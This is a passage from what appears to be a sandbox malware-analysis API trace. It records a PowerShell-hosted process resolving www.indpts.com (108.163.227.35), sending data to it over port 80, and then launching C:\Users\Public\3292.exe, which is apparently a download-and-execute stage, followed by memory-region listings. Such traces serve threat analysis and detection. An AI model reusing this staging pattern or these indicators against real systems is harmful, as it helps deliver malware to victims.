lpReserved=0x0, lpType=0x1c67bedc, lpData=0x0, lpcbData=0x1c67bed8*=0x0 | out: lpType=0x1c67bedc*=0x4, lpData=0x0, lpcbData=0x1c67bed8*=0x4) returned 0x0 [0026.477] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c67bee0, lpData=0x1c67bedc, lpcbData=0x1c67bed8*=0x4 | out: lpType=0x1c67bee0*=0x4, lpData=0x1c67bedc*=0x3, lpcbData=0x1c67bed8*=0x4) returned 0x0 [0026.477] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c67bedc, lpData=0x0, lpcbData=0x1c67bed8*=0x0 | out: lpType=0x1c67bedc*=0x4, lpData=0x0, lpcbData=0x1c67bed8*=0x4) returned 0x0 [0026.477] RegQueryValueExW (in: hKey=0x410, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c67bee0, lpData=0x1c67bedc, lpcbData=0x1c67bed8*=0x4 | out: lpType=0x1c67bee0*=0x4, lpData=0x1c67bedc*=0x20000, lpcbData=0x1c67bed8*=0x4) returned 0x0 [0026.477] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c67bedc, lpData=0x0, lpcbData=0x1c67bed8*=0x0 | out: lpType=0x1c67bedc*=0x3, lpData=0x0, lpcbData=0x1c67bed8*=0xaa) returned 0x0 [0026.477] RegQueryValueExW (in: hKey=0x410, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c67bedc, lpData=0x33d7738, lpcbData=0x1c67bed8*=0xaa | out: lpType=0x1c67bedc*=0x3, lpData=0x33d7738*, lpcbData=0x1c67bed8*=0xaa) returned 0x0 [0026.477] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.478] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c67be90, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x414 [0026.478] RegCloseKey (hKey=0x410) returned 0x0 [0026.479] GetVersionExW (in: lpVersionInformation=0x1c67ae60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c67ae60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0026.479] GetVersionExW (in: lpVersionInformation=0x1c67ae30*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c67ae30*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0026.479] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d83e8, cbSid=0x1c67be70 | out: pSid=0x33d83e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be70) returned 1 [0026.479] CreateMutexW (lpMutexAttributes=0x33d85f0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.480] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.480] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d8908, cbSid=0x1c67bdd0 | out: pSid=0x33d8908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67bdd0) returned 1 [0026.480] CreateMutexW (lpMutexAttributes=0x33d8ac0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0026.481] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x1f4) returned 0x0 [0026.481] ReleaseMutex (hMutex=0x418) returned 1 [0026.481] CloseHandle (hObject=0x418) returned 1 [0026.482] GetProcessTimes (in: hProcess=0x418, lpCreationTime=0x1c67bde0, lpExitTime=0x1c67bdd8, lpKernelTime=0x1c67bdd0, lpUserTime=0x1c67bdc8 | out: lpCreationTime=0x1c67bde0, lpExitTime=0x1c67bdd8, lpKernelTime=0x1c67bdd0, lpUserTime=0x1c67bdc8) returned 1 [0026.482] CloseHandle (hObject=0x418) returned 1 [0026.482] ReleaseMutex (hMutex=0x410) returned 1 [0026.483] CloseHandle (hObject=0x410) returned 1 [0026.484] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d9908, cbSid=0x1c67be70 | out: pSid=0x33d9908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be70) returned 1 [0026.484] CreateMutexW (lpMutexAttributes=0x33d9ac0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.484] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.485] ReleaseMutex (hMutex=0x410) returned 1 [0026.485] CloseHandle (hObject=0x410) returned 1 [0026.485] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33da728, cbSid=0x1c67be70 | out: pSid=0x33da728*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be70) returned 1 [0026.485] CreateMutexW (lpMutexAttributes=0x33da8e0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.485] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.485] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33db540, cbSid=0x1c67be70 | out: pSid=0x33db540*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be70) returned 1 [0026.485] CreateMutexW (lpMutexAttributes=0x33db6f8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.486] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.486] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33dc350, cbSid=0x1c67be70 | out: pSid=0x33dc350*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be70) returned 1 [0026.486] CreateMutexW (lpMutexAttributes=0x33dc508, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.486] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.486] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33dd160, cbSid=0x1c67be20 | out: pSid=0x33dd160*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be20) returned 1 [0026.486] CreateMutexW (lpMutexAttributes=0x33dd318, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.486] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.487] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33ddf88, cbSid=0x1c67be20 | out: pSid=0x33ddf88*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be20) returned 1 [0026.487] CreateMutexW (lpMutexAttributes=0x33de140, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.487] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.487] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33ded80, cbSid=0x1c67be20 | out: pSid=0x33ded80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be20) returned 1 [0026.487] CreateMutexW (lpMutexAttributes=0x33def38, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.487] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.487] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33dfb88, cbSid=0x1c67be20 | out: pSid=0x33dfb88*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be20) returned 1 [0026.487] CreateMutexW (lpMutexAttributes=0x33dfd40, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.487] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.488] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33e0988, cbSid=0x1c67be20 | out: pSid=0x33e0988*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c67be20) returned 1 [0026.488] CreateMutexW (lpMutexAttributes=0x33e0b40, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x410 [0026.488] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x1f4) returned 0x0 [0026.489] ioctlsocket (in: s=0x410, cmd=-2147195266, argp=0x1c67c458 | out: argp=0x1c67c458) returned 0 [0026.490] ioctlsocket (in: s=0x41c, cmd=-2147195266, argp=0x1c67c458 | out: argp=0x1c67c458) returned 0 [0026.500] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x424, param_3=0x3) returned 0x0 [0026.502] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c67c510 | out: phkResult=0x1c67c510*=0x43c) returned 0x0 [0026.503] RegOpenKeyExW (in: hKey=0x43c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67c3f8 | out: phkResult=0x1c67c3f8*=0x440) returned 0x0 [0026.503] RegNotifyChangeKeyValue (hKey=0x440, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x444, fAsynchronous=1) returned 0x0 [0026.504] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67c420 | out: phkResult=0x1c67c420*=0x448) returned 0x0 [0026.504] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x44c [0026.504] RegNotifyChangeKeyValue (hKey=0x448, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x44c, fAsynchronous=1) returned 0x0 [0026.504] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67c420 | out: phkResult=0x1c67c420*=0x450) returned 0x0 [0026.504] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x454 [0026.504] RegNotifyChangeKeyValue (hKey=0x450, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x454, fAsynchronous=1) returned 0x0 [0026.504] GetCurrentProcess () returned 0xffffffffffffffff [0026.504] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67c388 | out: TokenHandle=0x1c67c388*=0x458) returned 1 [0026.507] GetCurrentProcess () returned 0xffffffffffffffff [0026.507] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bb58 | out: TokenHandle=0x1c67bb58*=0x45c) returned 1 [0026.509] GetCurrentProcess () returned 0xffffffffffffffff [0026.509] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bb58 | out: TokenHandle=0x1c67bb58*=0x460) returned 1 [0026.533] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c67c458 | out: pProxyConfig=0x1c67c458) returned 1 [0026.626] SetEvent (hEvent=0x3a8) returned 1 [0026.633] GetCurrentProcess () returned 0xffffffffffffffff [0026.633] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bbc8 | out: TokenHandle=0x1c67bbc8*=0x4c4) returned 1 [0026.633] GetCurrentProcess () returned 0xffffffffffffffff [0026.633] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bbc8 | out: TokenHandle=0x1c67bbc8*=0x4c8) returned 1 [0026.634] SetEvent (hEvent=0x3a8) returned 1 [0026.643] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c67c098 | out: pFixedInfo=0x0, pOutBufLen=0x1c67c098) returned 0x6f [0026.667] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b753040 [0026.667] GetNetworkParams (in: pFixedInfo=0x1b753040, pOutBufLen=0x1c67c098 | out: pFixedInfo=0x1b753040, pOutBufLen=0x1c67c098) returned 0x0 [0026.676] CoTaskMemAlloc (cb=0xd) returned 0x2219f0 [0026.676] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0026.676] CoTaskMemFree (pv=0x2219f0) [0026.678] LocalFree (hMem=0x1b753040) returned 0x0 [0026.687] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4dc [0026.688] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d8 [0026.689] getaddrinfo (in: pNodeName="www.indpts.com", pServiceName=0x0, pHints=0x1c67c040*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c67c038 | out: ppResult=0x1c67c038*=0x1b735c40*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="indpts.com", ai_addr=0x221ab0*(sa_family=2, sin_port=0x0, sin_addr="108.163.227.35"), ai_next=0x0)) returned 0 [0026.720] CoTaskMemFree (pv=0x2219f0) [0026.720] CoTaskMemFree (pv=0x0) [0026.721] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ec [0026.721] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0026.721] ioctlsocket (in: s=0x4ec, cmd=-2147195266, argp=0x1c67c058 | out: argp=0x1c67c058) returned 0 [0026.721] ioctlsocket (in: s=0x4f4, cmd=-2147195266, argp=0x1c67c058 | out: argp=0x1c67c058) returned 0 [0026.721] WSAIoctl (in: s=0x4ec, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c67bfd0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c67bfd0, lpOverlapped=0x0) returned -1 [0026.721] CoTaskMemAlloc (cb=0x204) returned 0x2a4d80 [0026.721] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x2a4d80, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0026.722] GetAdaptersAddresses () returned 0x6f [0026.725] GetAdaptersAddresses () returned 0x0 [0026.731] WSAConnect (in: s=0x4dc, name=0x33ec498*(sa_family=2, sin_port=0x50, sin_addr="108.163.227.35"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0026.877] send (in: s=0x4dc, buf=0x33eff38*, len=69, flags=0 | out: buf=0x33eff38*) returned 69 [0027.612] CloseHandle (hObject=0x38c) returned 1 [0027.732] CoTaskMemAlloc (cb=0x104) returned 0x1b733570 [0027.732] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b733570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0027.733] CoTaskMemFree (pv=0x1b733570) [0027.733] CoTaskMemAlloc (cb=0x104) returned 0x1b733570 [0027.733] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b733570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0027.733] CoTaskMemFree (pv=0x1b733570) [0027.737] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\3292.exe", nBufferLength=0x105, lpBuffer=0x1c67c060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\3292.exe", lpFilePart=0x0) returned 0x18 [0027.737] SetErrorMode (uMode=0x1) returned 0x1 [0027.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c67c2c0 | out: lpFileInformation=0x1c67c2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f294d10, ftCreationTime.dwHighDateTime=0x1d36875, ftLastAccessTime.dwLowDateTime=0x3f294d10, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x3fea1c70, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x1e000)) returned 1 [0027.737] SetErrorMode (uMode=0x1) returned 0x1 [0027.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67c060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c67bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0027.902] LocalAlloc (uFlags=0x0, uBytes=0x32) returned 0x1b735cc0 [0027.902] RtlMoveMemory (in: Destination=0x1b735cc0, Source=0x3440858, Length=0x32 | out: Destination=0x1b735cc0) [0028.243] LocalFree (hMem=0x1b735cc0) returned 0x0 [0029.652] SetEvent (hEvent=0x3cc) returned 1 [0029.652] SetEvent (hEvent=0x3c0) returned 1 [0029.652] SetEvent (hEvent=0x3c4) returned 1 [0029.652] SetEvent (hEvent=0x3c8) returned 1 [0029.652] SetEvent (hEvent=0x3dc) returned 1 [0029.652] SetEvent (hEvent=0x3d0) returned 1 [0029.652] SetEvent (hEvent=0x3d4) returned 1 [0029.652] SetEvent (hEvent=0x3d8) returned 1 [0029.652] SetEvent (hEvent=0x3e0) returned 1 [0029.656] CoUninitialize () Thread: id = 30 os_tid = 0xb18 Thread: id = 31 os_tid = 0xb1c Thread: id = 32 os_tid = 0xb20 [0026.627] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0026.629] ResetEvent (hEvent=0x3a8) returned 1 Thread: id = 33 os_tid = 0xb28 [0027.906] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0027.911] ShellExecuteExW (in: pExecInfo=0x346ecf0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\Public\\3292.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x346ecf0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\Public\\3292.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x580)) returned 1 [0028.096] CoGetContextToken (in: pToken=0x1c8ef790 | out: pToken=0x1c8ef790) returned 0x0 [0028.096] CoUninitialize () Thread: id = 35 os_tid = 0xb3c [0029.673] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0029.674] SetThreadUILanguage (LangId=0x0) returned 0x7fffffa0409 [0029.675] VirtualQuery (in: lpAddress=0x1d79d800, lpBuffer=0x1d79e6c0, dwLength=0x30 | out: lpBuffer=0x1d79e6c0*(BaseAddress=0x1d79d000, AllocationBase=0x1ce10000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0029.675] VirtualQuery (in: lpAddress=0x1d79dab0, lpBuffer=0x1d79e970, dwLength=0x30 | out: lpBuffer=0x1d79e970*(BaseAddress=0x1d79d000, AllocationBase=0x1ce10000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0029.680] SetEvent (hEvent=0x518) returned 1 [0029.680] SetEvent (hEvent=0x50c) returned 1 [0029.680] SetEvent (hEvent=0x528) returned 1 [0029.680] SetEvent (hEvent=0x518) returned 1 [0029.680] SetEvent (hEvent=0x50c) returned 1 [0029.680] SetEvent (hEvent=0x588) returned 1 [0029.680] SetEvent (hEvent=0x574) returned 1 [0029.680] SetEvent (hEvent=0x53c) returned 1 [0029.680] SetEvent (hEvent=0x584) returned 1 [0029.680] SetEvent (hEvent=0x58c) returned 1 [0029.680] CoUninitialize () Process: id = "4" image_name = "3292.exe" filename = "c:\\users\\public\\3292.exe" page_root = "0x497ec000" os_pid = "0xb2c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xaec" cmd_line = "\"C:\\Users\\Public\\3292.exe\" " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1077 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1078 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1079 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1080 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1081 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1082 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1083 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1084 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe0000 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1085 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1086 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1087 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1088 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1089 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = 